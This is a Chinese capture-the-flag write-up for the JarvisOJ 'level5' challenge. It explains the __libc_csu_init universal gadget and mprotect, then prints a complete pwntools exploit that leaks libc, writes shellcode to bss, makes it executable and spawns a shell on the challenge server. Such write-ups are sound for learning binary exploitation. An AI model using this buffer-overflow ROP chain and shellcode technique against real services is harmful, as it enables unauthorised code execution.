pwn-[XMAN]level5(通用gadget,mprotect)

这道题涉及很多知识点,包括64位通用gadget,mprotect修改权限

该题假设禁用了system和execve函数

 查看保护,因为system和execve被禁用,所以只能通过shellcode getshell,但因为开启了NX,需要通过mprotect函数改变指定内存(以页为单位)的权限

 查询gadget,没有pop rdx,而mprotec函数需要三个参数,可以通过通用gadget传参

思路:

  1. 泄漏libc基址,通过偏移找到mprotect的地址
  2. 通过write将mprotect和shellcode写入bss段
  3. 利用通用gadget修改bss,最后跳转到shellcode的地址getshell

通用gadget是怎么一回事呢?可参考:https://blog.csdn.net/weixin_44932880/article/details/103692899

通用gadget是64位程序中用于对libc进行初始化的函数 __libc_csu_init()的一段gadget,之所以叫通用是因为这段gadget可广泛使用,能够对大部分的寄存器赋值。

通用gadget可分为rop1和rop2两段。x64 程序的前六个参数依次通过寄存器 rdi、rsi、rdx、rcx、r8、r9 进行传递,rop1的6个pop分别给rbx,rbp,r12,r13,r14,r15赋值.如果后面接rop2也就是跳转到0x400690则会分别给rdx,rsi,edi赋值。而r13,r14,r15是用户可控的,紧接着进行call调用,call的地址取决于r12和rbx的值。调用结束后还会执行add rsp,8以及紧随其后的rop1。

 

 因为我们需要改写bss段的权限,所以mprotect的参数设置为

mprotect(0x600000,0x1000,7),指定的内存区间必须包含整个内存页。区间开始的地址start必须是一个内存页的起始地址,len长度必须是页大小的整数倍,7代表rwx。

exp:

 1 #!/usr/bin/python
 2 #coding:utf-8
 3 from pwn import *
 4 context(arch='amd64',os='linux')
 5 context.log_level='debug'
 6 #a=process('level3_x64')
 7 a=remote("pwn2.jarvisoj.com",9884)
 8 libc=ELF("libc-2.19.so")
 9 elf=ELF("level3_x64")
10 
11 rop1=0x4006AA #pop rbx;pop rbp;pop r12;pop r13;pop r14;pop r15
12 rop2=0x400690 #mov rdx,r13;mov rsi,r14;mov edi,r15
13 rdi=0x4006b3
14 rsi_r15=0x4006b1
15 vuln=0x4005E6
16 bss=elf.bss()
17 read_plt=elf.plt['read']
18 write_plt=elf.plt['write']
19 write_got=elf.got['write']
20 ############################################
21 payload='a'*0x88+p64(rdi)+p64(1)+p64(rsi_r15)+p64(write_got)+p64(0xdeadbeef)+p64(write_plt)+p64(vuln)
22 a.send(payload)
23 a.recvline()
24 write_got=u64(a.recv(8))
25 print hex(write_got)
26 
27 base=write_got-libc.symbols['write']
28 mprotect_addr=base+libc.symbols['mprotect']
29 ############################################
30 payload2='a'*0x88+p64(rdi)+p64(0)+p64(rsi_r15)+p64(bss)+p64(0xdeadbeef)+p64(read_plt)+p64(vuln)
31 a.recvline()
32 a.send(payload2)
33 shellcode=p64(mprotect_addr)+asm(shellcraft.amd64.sh())
34 a.send(shellcode)
35 #gdb.attach(a)
36 print len(shellcode)
37 ############################################
38 payload3='a'*0x88+p64(rop1)+p64(0)+p64(1)+p64(bss)+p64(7)+p64(0x1000)+p64(0x600000)+p64(rop2)+'a'*56+p64(bss+8)
39 a.recvline()
40 #g=gdb.debug('/root/level3_x64','b *')
41 a.sendline(payload3)
42 a.interactive()

简单解释下payload3,下图给出了各寄存器对应的值,上文提到了call的地址为r12+rbx*8,把0赋给rbx则等价于call r12,也就是bss的地址,我们在payload2中写入了mprotect,call r12就是执行mprotect

函数

 继续分析下rop2

 关键在于call之后的命令。存在jnz跳转,如果rbx不等于rbp,就会重新执行rop2。rbx既然设置为0那么rbp必须为1

跳转问题解决了,程序就会执行下面的rop1。加上add rsp,8,一共需要padding 8+6*8个字节,最后再返回shellcode的位置即可getshell

 不知道为啥本地调试失败了。。。。。

原文地址:https://www.cnblogs.com/remon535/p/13930490.html